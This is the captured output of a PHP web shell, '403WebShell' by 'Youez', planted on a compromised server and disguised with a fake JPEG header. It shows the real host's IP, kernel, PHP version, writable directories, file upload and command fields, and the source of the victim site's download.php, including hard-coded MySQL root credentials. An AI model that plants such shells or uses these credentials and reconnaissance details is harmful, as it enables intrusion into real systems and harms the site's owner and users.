????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.61
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/digitaliseringstrappan.astacus.se/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/digitaliseringstrappan.astacus.se/download.php
<?php
// BEGIN FILE: /download.php
session_start();

if($_SESSION['DIGTRAPP_LOGIN'][0] == ""){
    header("location: index.php");
    exit;
}

$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("fi2xml_tool");

$sql = "SELECT * FROM tblLicenses WHERE id = '".mysql_real_escape_string($_SESSION['DIGTRAPP_LOGIN'][0])."'";
$result = mysql_query($sql);

$Admin = "0";
while ($row = mysql_fetch_assoc($result)){
    $Admin = $row['Admin'];
}

$sql = "SELECT * FROM tblToolboxUploads WHERE is_active = 1 ORDER BY product ASC, uploaded_at DESC";
$res = mysql_query($sql);

// Group rows by product
$byProduct = array();
if ($res) {
    while ($r = mysql_fetch_assoc($res)) {
        $p = $r['product'];
        if (!isset($byProduct[$p])) $byProduct[$p] = array();
        $byProduct[$p][] = $r;
    }
}
?>
<!DOCTYPE html>
<html lang="sv">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Download - Webbportal</title>
    <link rel="stylesheet" href="styles.css">
</head>
<body>
    <aside id="sidebar"><br>
ASTACUS TOOLBOX<br>
<hr>
<nav>
  <ul>
    <li><a href="konto.php"><img src="images/konto.png" width="15" height="15" alt="" class="center"/> Konto / Licens</a></li>
 <?php if($Admin == "1"){?>
          <li><a href="admin.php"><img src="images/admin.png" width="15" height="15" alt="" class="center"/> Admin konto</a></li>
			   <li><a href="admin_toolbox.php"><img src="images/admin.png" width="15" height="15" alt="" class="center"/> Admin filer</a></li>

          <?php }?>
    <li><a href="download.php"><img src="images/download.png" width="15" height="15" alt="" class="center"/> Nedladdning</a></li>
    <li><a href="support.php"><img src="images/support.png" width="15" height="15" alt="" class="center"/> Support</a></li>
  </ul>
  <br>
  <hr>
  <ul>
    <li><a href="index.php?logout=true">Logga ut</a></li>
  </ul>
</nav>
    </aside>

    <main>
        <section id="account-section">
            <h2>Download</h2>
            Har kan du ladda ner den senaste versionen av toolboxen.
            <br><br><hr><br>

            <?php if (count($byProduct) == 0) { ?>
                <div>No downloads available.</div>
            <?php } else { ?>
                <?php foreach ($byProduct as $product => $rows) { ?>
                    <br><?php echo htmlspecialchars($product); ?><hr>

                    <?php $latest = $rows[0]; ?>
                    <b>Latest:</b>
                    <a href="<?php echo htmlspecialchars($latest['relative_path']); ?>">
                        <?php echo htmlspecialchars($latest['version']); ?>
                    </a>
                    <br><br>

                    <?php foreach ($rows as $r) { ?>
                        <a href="<?php echo htmlspecialchars($r['relative_path']); ?>">
                            <?php echo htmlspecialchars($r['version']); ?>
                        </a><br>
                    <?php } ?>

                    <br><br>
                <?php } ?>
            <?php } ?>
        </section>
    </main>
</body>
</html>
<?php
// END FILE
?>

Youez - 2016 - github.com/yon3zu
LinuXploit